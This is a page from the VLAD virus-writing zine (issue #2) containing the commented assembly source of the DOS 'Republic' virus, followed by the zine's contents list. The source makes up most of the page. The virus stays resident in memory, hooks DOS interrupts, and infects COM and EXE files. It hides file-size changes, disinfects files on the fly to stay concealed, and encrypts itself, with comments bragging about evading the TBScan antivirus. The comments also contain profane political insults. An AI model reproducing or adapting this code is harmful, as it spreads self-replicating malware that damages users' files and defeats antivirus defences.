Virus Labs & Distribution
VLAD #2 - Republic Source

;               REPUBLIC!
;               +-------+             Qark/VLAD
; This virus is named because I (and metabolis) support a republic for 
; Australia.  Fuck the Union Jack off from our flag... we want something
; Australian in there... and an Australian head of state not some pommy
; bitch Queen and her corgis.
; A funny thing:  I wrote a full-on MTE/TPE/DAME type polymorphic engine
; for this virus, but TBScan found it every time!  But when i do the
; shitty XOR routine that's at the end, TBScan hardly finds anything!
; TBAV can be proud of it's capabilites with polymorphism, but for
; basic encryption it's a big thumbs down...
;       Stats:
;               -       Disinfect on open, Infect on close.
;               -       No directory filesize change
;               -       No findfirst filesize change
;               -       Some anti-debugging features
; Anyway, this is my best virus so far.  I've come a fair way since broken,
; fucked up brother in VLAD#1 I'm sure you'll agree.  I wrote this virus
; a few months ago and am better than this already.
; As always, the A86 assembler is my favourite :)

                org     0

        db      0beh            ;MOV SI,xxxx
delta   dw      offset enc_start + 100h
        call    encrypt
        push    cs
        pop     ds                              ;DS=CS
        sub     si,offset enc_end               ;The polymorphism is done.
        mov     word ptr [si+offset quit],20cdh
        mov     word ptr [si+offset quit],44c7h ;The bytes changed.

        push    es
        push    si
        ;If I don't get a feed soon, I'll start to fade...

        mov     ax,0FEEDh               ;Feed ?
        int     21h

        cmp     ax,0FADEh               ;Yes...
        je      resident                ;Fade...

        mov     ax,es
        dec     ax
        mov     ds,ax

        cmp     byte ptr [0],'Z'
        jne     resident

        sub     word ptr [3],160        ;2560 bytes of memory.
        sub     word ptr [12h],160      ;2560 bytes off TOM.
        mov     bx,word ptr [12h]       ;Read in the TOM.

        push    cs
        pop     ds                      ;DS=CS

        xor     ax,ax                   ;ES=0  (Vector Table)
        mov     es,ax

        mov     ax,word ptr es:[132]    ;Get int21h.
        mov     word ptr [si+offset i21],ax

        mov     ax,word ptr es:[134]    ;Get int21h segment.
        mov     word ptr [si+offset i21+2],ax

        mov     es,bx                   ;ES=Segment to store virus.

        xor     di,di                   ;Zero in memory.
        mov     cx,offset length        ;The size of the virus.
        rep     movsb                   ;Move the virus.

        xor     ax,ax
        mov     ds,ax                   ;ES=0 (Vector Table)

        mov     word ptr [132],offset infection
        mov     [134],bx                ;BX=Virus Seg I hope!

        pop     si                      ;SI=IP (Virus start)
        pop     es                      ;ES=PSP

        push    cs
        pop     ds

        cmp     byte ptr [si+offset com_exe],1
        je      exe_exit

        mov     ax,word ptr [si+offset old3]
        mov     [100h],ax
        mov     al,byte ptr [si+offset old3+2]
        mov     [102h],al

        push    es
        pop     ds

        call    zero_all
        mov     ax,100h
        jmp     ax

        mov     ax,es                   ;ES=PSP
        add     ax,10h                  ;EXE file start.
        add     word ptr [si+jump+2],ax
        call    zero_all
        mov     sp,word ptr [si+offset orig_sp]
        add     ax,word ptr [si+offset orig_ss] ;Fix SS with AX.
        mov     ss,ax
        push    es
        pop     ds
        db      0eah
        jump    dd      0
        Message         db      'Go the Republic! '
                        db      'Fuck off Royal Family!',0
        Creator         db      'Qark/VLAD of the Republic of Australia',0


        push    ax
        xchg    al,ah
        cmp     ax,004bh                ;Exec.  Don't infect on 4B01h because
        je      test_inf                ;debug will find it then.

        cmp     al,43h                  ;Chmod.
        je      test_inf
        cmp     al,56h                  ;Rename.
        je      test_inf
        cmp     al,6ch                  ;Open.
        je      dis_inf
        cmp     al,3dh                  ;Open
        je      dis_inf

        cmp     al,11h                  ;FCB find.
        je      dir_listing
        cmp     al,12h                  ;Dir listing in progress.
        je      dir_listing

        cmp     al,4eh                  ;Find first.
        je      find_file
        cmp     al,4fh                  ;Find_next.
        je      find_file
        cmp     al,3eh                  ;Close.
        je      end_infect

        pop     ax

        cmp     ax,0FEEDh
        je      res_check               ;Testing for installation ?


        jmp     jend                    ;Exit TSR

        mov     ax,0FADEh               ;Return parameter.

        jmp     dir_stealth
        jmp     search_stealth
        jmp     full_stealth            ;Disinfect on the fly.
        jmp     close_infect

        jmp     far_pop_exit            ;Just an exit.


        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
        call    check_name

        jc      jump2_exit

        mov     ax,3d00h        ;Open readonly.
        mov     dx,di           ;DX=DI=Offset length
        call    int21h

        jc      jump2_exit

        mov     bx,ax

        call    get_sft

                                        ;Test for infection.
        mov     ax,word ptr es:[di+0dh] ;File time into AX from SFT.
        mov     word ptr es:[di+2],2    ;Bypass Read only attribute.
        and     ax,1f1fh                ;Get rid of the shit we don't need.
        cmp     al,ah                   ;Compare the seconds with minutes.
        je      jump2_exit


        push    cs
        pop     es                      ;ES=CS

                                        ;Read the File header in to test
                                        ;for EXE or COM.
        mov     ah,3fh                  ;Read from file.
        mov     cx,1ch                  ;1C bytes.
        call    int21h                  ;DX=Offset length from file open.
                                        ;We don't need the filename anymore
                                        ;so use that space as a buffer.

        mov     si,dx                   ;SI=DX=offset length.
        mov     di,offset header
        mov     cx,18h
        rep     movsb                   ;Move header to header.

        mov     si,dx                   ;SI=DX=Offset of length.

        mov     ax,word ptr [si]        ;=Start of COM or EXE.
        add     al,ah                   ;Add possible MZ.
        cmp     al,167                  ;Test for MZ.
        je      exe_infect
        jmp     com_infect


        mov     byte ptr com_exe,1      ;Signal EXE file.

        cmp     word ptr [si+1ah],0     ;Test for overlays.
        jne     exe_close_exit          ;Quick... run!!!

        push    si                      ;SI=Offset of header

        add     si,0eh                  ;SS:SP are here.
        mov     di,offset orig_ss
        movsw                           ;Move them!

        mov     di,offset jump          ;The CS:IP go in here.

        lodsw                           ;ADD SI,2 - AX destroyed.

        movsw                           ;Move them!

        pop     si

        call    get_sft                 ;ES:DI = SFT for file.

        mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
        mov     dx,word ptr es:[di+13h]
        mov     cx,16                   ;Divide by paragraphs.
        div     cx

        sub     ax,word ptr [si+8]      ;Subtract headersize.

        mov     word ptr delta,dx       ;Initial IP.
        add     delta,offset enc_start  ;Fix for polymorphics.

        mov     word ptr [si+14h],dx    ;IP in header.
        mov     word ptr [si+16h],ax    ;CS in header.

        add     dx,offset stack_end     ;Fix SS:SP for file.

        mov     word ptr [si+0eh],ax    ;We'll make SS=CS
        mov     word ptr [si+10h],dx    ;SP=IP+Offset of our buffer.

        mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
        mov     dx,word ptr es:[di+13h]

        add     ax,offset length        ;Add the virus length on.
        adc     dx,0                    ;32bit

        mov     cx,512                  ;Divide by pages.
        div     cx

        and     dx,dx
        jz      no_page_fix

        inc     ax                              ;One more for the partial

        mov     word ptr [si+4],ax              ;Number of pages.
        mov     word ptr [si+2],dx              ;Partial page.

        mov     word ptr es:[di+15h],0          ;Lseek to start of file.

        call    get_date                        ;Save the old time/date.

        mov     ah,40h                          ;Write header to file.
        mov     dx,si                           ;Our header buffer.
        mov     cx,1ch                          ;1CH bytes.
        call    int21h

        jc      exe_close_exit

        mov     ax,4202h                        ;End of file.  Smaller than
                                                ;using SFT's.
        xor     cx,cx                           ;Zero CX
        cwd                                     ;Zero DX (If AX < 8000H then
                                                ;CWD moves zero into DX)
        call    int21h

        call    enc_setup                       ;Thisll encrypt it and move
                                                ;it to the end of file.

        jmp     com_close_exit


        mov     byte ptr com_exe,0      ;Flag COM infection.

        mov     ax,word ptr [si]        ;Save COM files first 3 bytes.
        mov     word ptr old3,ax
        mov     al,[si+2]
        mov     byte ptr old3+2,al

        call    get_sft                 ;SFT is at ES:DI

        mov     ax,es:[di+11h]          ;AX=File Size

        cmp     ax,64000
        ja      com_close_exit          ;Too big.

        cmp     ax,1000
        jb      com_close_exit          ;Too small.

        push    ax                      ;Save filesize.

        mov     newoff,ax               ;For the new jump.
        sub     newoff,3                ;Fix the jump.

        mov     word ptr es:[di+15h],0  ;Lseek to start of file :)

        call    get_date                ;Save original file date.

        mov     ah,40h
        mov     cx,3
        mov     dx,offset new3          ;Write the virus jump to start of
        call    int21h                  ;file.

        pop     ax                      ;Restore file size.

        jc      com_close_exit          ;If an error occurred... exit.

        mov     word ptr es:[di+15h],ax ;Lseek to end of file.

        add     ax,offset enc_start + 100h    ;File size + 100h.
        mov     word ptr delta,ax       ;The delta offset for COM files.

        call    enc_setup


        mov     ah,3eh
        call    int21h


        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax

        db      0eah                    ;Opcode for jmpf
        i21     dd      0

int21h  proc    near                    ;Our int 21h

        call    dword ptr cs:[i21]
int21h  endp

        cmp     bl,4
        ja      good_handle    
        pop     ax
        jmp     jend


        push    bx                      ;Save the original registers.
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es

        call    get_sft                 ;ES:DI = SFT
        mov     ax,word ptr es:[di+0dh] ;AX=Time
        and     ax,1f1fh                ;Shit we don't need.
        cmp     al,ah                   ;AL=AH means infected.
        je      far_pop_exit

        mov     dx,offset length
        push    cs
        pop     ds

        mov     word ptr es:[di+2],2             ;Read/Write mode.
        mov     word ptr es:[di+15h],0           ;Zero file pointer.
        mov     word ptr es:[di+17h],0           ;Zero file pointer.
        add     di,28h                  ;ES:DI=Extension
        cmp     word ptr es:[di],'OC'
        je      close_com
        cmp     word ptr es:[di],'XE'
        jne     far_pop_exit
        inc     di
        inc     di
        cmp     byte ptr es:[di],'E'
        jne     far_pop_exit
        jmp     handle_infection


        cmp     byte ptr es:[di+2],'M'
        jne     far_pop_exit
        jmp     handle_infection


        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es

        cmp     al,6ch
        jne     stealth_6c
        mov     dx,si

        call    check_name
        jnc     do_stealth
        jmp     far_pop_exit


        mov     ax,3d00h
        mov     dx,di
        call    int21h
        jc      stealth_end

        mov     bx,ax                   ;BX=filehandle
        call    get_sft
        mov     ax,word ptr es:[di+0dh] ;File time into AX from SFT.
        mov     word ptr es:[di+2],2    ;Bypass Read only attribute.
        and     ax,1f1fh                ;Get rid of the shit we don't need.
        cmp     al,ah                   ;Compare the seconds with minutes.
        jne     stealth_end             ;Not infected...

        mov     ax,word ptr es:[di+11h] ;File size.
        mov     dx,word ptr es:[di+13h]

        push    dx
        push    ax

        sub     ax,1ch                  ;Header+time+date = 1ch
        sbb     dx,0
        mov     word ptr es:[di+15h],ax ;File pointer.
        mov     word ptr es:[di+17h],dx

        mov     ah,3fh
        mov     dx,offset header        ;Read in header.
        mov     cx,1ch
        call    int21h

        pop     ax
        pop     dx                      ;DX:AX=length of file

        sub     ax,offset length        ;EOF - length.
        sbb     dx,0
        mov     word ptr es:[di+15h],ax
        mov     word ptr es:[di+17h],dx

        mov     ah,40h                  ;Truncate virus off.
        xor     cx,cx
        call    int21h
        jc      stealth_end

        mov     word ptr es:[di+15h],0  ;Start of file
        mov     word ptr es:[di+17h],0

        mov     ah,40h
        mov     dx,offset header
        mov     cx,18h
        call    int21h                  ;Write original header back.

        mov     cx,word ptr time
        mov     dx,word ptr date
        mov     ax,5701h                ;Put original time/date back.
        call    int21h

        mov     ah,3eh                  ;Close file.
        call    int21h

        jmp     stealth_end

Check_Name      proc    near
;Carry if bad name.
;AX is fucked.
;SI = File Extension Somewhere.
;DI = Offset length.

        mov     si,dx                   ;DS:SI = Filename.

        push    cs
        pop     es                      ;ES=CS

        mov     ah,60h                  ;Get qualified filename.
        mov     di,offset length        ;DI=Buffer for filename.
        call    int21h                  ;This converts it to uppercase too!

                                        ;CS:LENGTH = Filename in uppercase
                                        ;with path and drive.  Much easier
                                        ;to handle now!
        push    cs
        pop     ds                      ;DS=CS

        mov     si,di                   ;SI=DI=Offset Length

        cld                             ;Forward!


        cmp     al,0
        jne     find_ascii_z

        sub     si,4                    ;Points to the file extension. 'EXE'

        lodsw                           ;Mov AX,DS:[SI]

        cmp     ax,'XE'                 ;The 'EX' out of 'EXE'
        jne     test_com

        lodsb                           ;Mov AL,DS:[SI]

        cmp     al,'E'                  ;The last 'E' in 'EXE'
        jne     Bad_Name

        jmp     do_file                 ;EXE-file


        cmp     ax,'OC'                 ;The 'CO' out of 'COM'
        jne     Bad_Name

        lodsb                           ;Mov AL,DS:[SI]

        cmp     al,'M'
        je      do_file                 ;COM-file


Check_Name      endp


        pop     ax              ;Restore AX.

        call    int21h
        jc      end_search

        push    es
        push    bx
        push    si

        mov     ah,2fh
        call    int21h

        mov     si,bx

        mov     bx,word ptr es:[si+16h]
        and     bx,1f1fh
        cmp     bl,bh
        jne     search_pop                         ;Is our marker set ?

        sub     word ptr es:[si+1ah],offset length ;Subtract the file length.
        sbb     word ptr es:[si+1ch],0


        pop     si
        pop     bx
        pop     es

        retf     2                      ;This is the same as an IRET
                                        ;except that the flags aren't popped
                                        ;off so our Carry Remains set.


        ;This bit means that wen you do a 'dir' there is no change in
        ;file size.

        pop     ax

        call    int21h                          ;Call the interrupt
        cmp     al,0                            ;straight off.
        jne     end_of_dir

        push    es
        push    ax                              ;Save em.
        push    bx
        push    si

        mov     ah,2fh                          ;Get DTA address.
        call    int21h

        mov     si,bx

        cmp     byte ptr es:[si],0ffh           ;Extended FCB ?
        jne     not_extended

        add     si,7                            ;Add the extra's.


        mov     bx,word ptr es:[si+17h]         ;Move time.
        and     bx,1f1fh
        cmp     bl,bh
        jne     dir_pop                         ;Is our marker set ?

        sub     word ptr es:[si+1dh],offset length ;Subtract the file length.
        sbb     word ptr es:[si+1fh],0


        pop     si
        pop     bx
        pop     ax
        pop     es


Get_Date        proc    near
        mov     ax,5700h                ;Get Date/Time.
        call    int21h
        mov     word ptr time,cx
        mov     word ptr date,dx


Get_date        endp

Set_Marker      proc    near
        mov     cx,time
        mov     al,ch
        and     al,1fh
        and     cl,0e0h
        or      cl,al
        mov     dx,date
        mov     ax,5701h
        call    int21h


Set_marker      endp

Enc_Setup       proc    near

        push    cs
        pop     es

        in      al,40h
        mov     byte ptr cs:cipher,al

        xor     si,si
        mov     di,offset length        ;Offset of our buffer.
        mov     cx,offset length        ;Virus Length.
        rep     movsb                   ;Move the virus up in memory for
        mov     si,offset length + offset enc_start

        call    encrypt                 ;Encrypt virus.

        mov     ah,40h                  ;Write virus to file
        mov     dx,offset length        ;Buffer for encrypted virus.
        mov     cx,offset length        ;Virus length.
        call    int21h

        call    set_marker              ;Mark file as infected.


Enc_setup       endp

Get_SFT Proc    Near
;Entry:  BX=File Handle.
;Exit:   ES:DI=SFT.
        push    bx

        mov     ax,1220h        ;Get Job File Table Entry.  The byte pointed
        int     2fh             ;at by ES:[DI] contains the number of the
                                ;SFT for the file handle.

        xor     bx,bx
        mov     bl,es:[di]      ;Get address of System File Table Entry.
        mov     ax,1216h
        int     2fh

        pop     bx


Get_SFT EndP

Zero_All        proc    near
;Zero's everything cept AX.

        xor     bx,bx                   ;Zero BX
        mov     cx,bx
        mov     dx,bx
        mov     di,bx
Zero_All        endp

        New3    db      0e9h                    ;The jump for the start of
        Newoff  dw      0                       ;COM files.
        orig_ss dw      0
        orig_sp dw      0
        com_exe db      0
        old3    db      0cdh,20h,90h

enc_end:                                ;Encryption ends here.

; QaRK's |<-RaD TBSCaN eVaDeR!!!!!111

; Works every time :)

encrypt proc    near

;Si = enc_start
        mov     cx,offset enc_end - offset enc_start
        db      0b0h            ;=MOV AL,xx                        
        cipher  db      0
        ror     al,1
        neg     al
        xor    cs:[si],al       ;<--- Whoah! Never guess this was encryption!
        add     al,al
        inc     si
        loop    enc_loop

Encrypt endp

        header  db      18h dup (0)             ;rewrite this
        time    dw      0                       ;restore this
        date    dw      0

length  db      200 dup (0)



ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag


The Press
ARTICLE.2_2       Leprechaun Interview
ARTICLE.2_3       Flash Bios
ARTICLE.2_4       AMI Flash Specification
ARTICLE.2_5       Assembly Guide
ARTICLE.2_6       Virus Law
ARTICLE.2_7       Feedback


ARTICLE.3_2       TSR Tutorial
ARTICLE.3_5       Kennedy Disasm
ARTICLE.3_6       Darth Vader Strain B Disasm
ARTICLE.3_7       Gergana.222 Disasm


Virus Descriptions
ARTICLE.4_2       VLAD Virus Source
ARTICLE.4_3       Republic Source
ARTICLE.4_4       BIOS Meningitis Source
ARTICLE.4_5       Prodigy 3 Source
ARTICLE.4_6       Estonia Source
ARTICLE.4_7       What's Next


About Debug Scripts
ARTICLE.5_2       VLAD Script
ARTICLE.5_3       Republic Script
ARTICLE.5_4       BIOS Meningitis Dropper Script
ARTICLE.5_5       Prodigy 3 Script
ARTICLE.5_6       Estonia Script
ARTICLE.5_7       The End

About VLAD - Links - Contact Us - Main